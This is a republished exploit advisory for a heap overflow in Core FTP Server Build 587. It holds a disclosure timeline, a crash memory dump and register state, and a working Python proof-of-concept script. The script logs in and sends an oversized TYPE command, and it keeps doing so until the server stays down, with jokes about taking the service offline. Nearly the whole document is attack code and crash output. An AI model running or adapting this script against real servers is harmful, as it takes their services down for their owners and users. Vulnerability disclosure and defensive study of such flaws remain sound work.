Core FTP Server 32-bit Build 587

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Core FTP Server 32-bit Build 587 - Heap Overflow

来源：ptpxploit at gmail 作者：Purcell 发布时间：2016-05-11

# -*- coding: cp1252 -*-
# Exploit Title: Core FTP Server 32-bit - Build 587 Heap Overflow
# Date: 05/10/2016
# Exploit Author: Paul Purcell
# Contact: ptpxploit at gmail
# Vendor Homepage: http://www.coreftp.com/
# Vulnerable Version Download: http://coreftp.com/server/download/archive/CoreFTPServer587.exe
# Version: Core FTP Server 32-bit - Build 587 32-bit
# Tested on: Windows XP SP3 x32 English, Windows 7 Pro x64 SP1 English, Windows 10 Pro x64 English
# Category: Remote Heap Overflow PoC
#
# Timeline: 03/03/16 Bug found
#           03/04/16 Vender notified
#           03/06/16 Vender replied acknowledging the issue
#           04/07/16 Vender releases Build 588 which fixes the issue.
#           05/10/16 Exploit Released
#
# Summary: This exploit allows for a post authentication DOS. The server does not do proper bounds checking on
#           server responses. In this case, the long 'MODE set to ...' reply invoked by a long TYPE command
#           causes a heap overflow and crashes the server process.
#
#           Crash info:
#
#           0133FA2C 32 30 30 20 4D 4F 44 45 200 MODE
#           0133FA34 20 73 65 74 20 74 6F 20   set to
#           0133FA3C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA44 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA4C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA54 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA5C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA64 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA6C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA74 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA7C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA84 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA8C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA94 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FA9C 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAA4 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAAC 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAB4 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FABC 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAC4 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FACC 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAD4 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FADC 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAE4 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAEC 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAF4 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FAFC 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FB04 41 41 41 41 41 41 41 41 AAAAAAAA
#           0133FB0C 58 02 00 00 8E EB 31 57 X..Žë1W
#
#           00439827   . 8B86 3C040000 MOV EAX,DWORD PTR DS:[ESI+43C]           ; ESI invalid address: DS:[4141457D]=???
#           0043982D   . 85C0           TEST EAX,EAX
#
#           DS:[4141457D]=???
#           EAX=00000000
#
#           EAX 00000000
#           ECX 00000000
#           EDX 00000001
#           EBX 01141B90
#           ESP 0142C06C
#           EBP 0143FB3C
#           ESI 41414141
#           EDI 00000000
#           EIP 00439827 coresrvr.00439827
#           C 1 ES 0023 32bit 0(FFFFFFFF)
#           P 1 CS 001B 32bit 0(FFFFFFFF)
#           A 1 SS 0023 32bit 0(FFFFFFFF)
#           Z 0 DS 0023 32bit 0(FFFFFFFF)
#           S 1 FS 003B 32bit 7FFD8000(FFF)
#           T 1 GS 0000 NULL
#           D 0
#           O 0 LastErr ERROR_SUCCESS (00000000)
#           EFL 00000397 (NO,B,NE,BE,S,PE,L,LE)
#           ST0 empty
#           ST1 empty
#           ST2 empty
#           ST3 empty
#           ST4 empty
#           ST5 empty
#           ST6 empty
#           ST7 empty
#                          3 2 1 0      E S P U O Z D I
#           FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
#           FCW 027F Prec NEAR,53 Mask    1 1 1 1 1 1

import time
import socket
from ftplib import FTP

host='yourhost'             #host or IP
port=21                     #port
u="youruser"                #username
p="yourpass"                #password
pause=3                     #pause between login & command attempts, normally 3 seconds is plenty of time.
command="TYPE "
evil="A"*211                #Any more, and the program warns of buffer overflow attempt and ignores the command
evilTYPE=(command+evil)     #Evil type command

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
open = sock.connect_ex((host,port))
sock.close()

if (open == 0):
    print "FTP is up, lets fix that..."
    while (open != 10061):
        print "Connecting to send evil TYPE command..."
        ftp = FTP()
        ftp.connect(host,port)
        ftp.login(u,p)
        ftp.sendcmd(evilTYPE)
        ftp.close()
        time.sleep(pause)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        open = sock.connect_ex((host,port))
        sock.close()
    print "No more files for you!"
else:
    print "Port "+str(port)+" does not seem to be open on "+host

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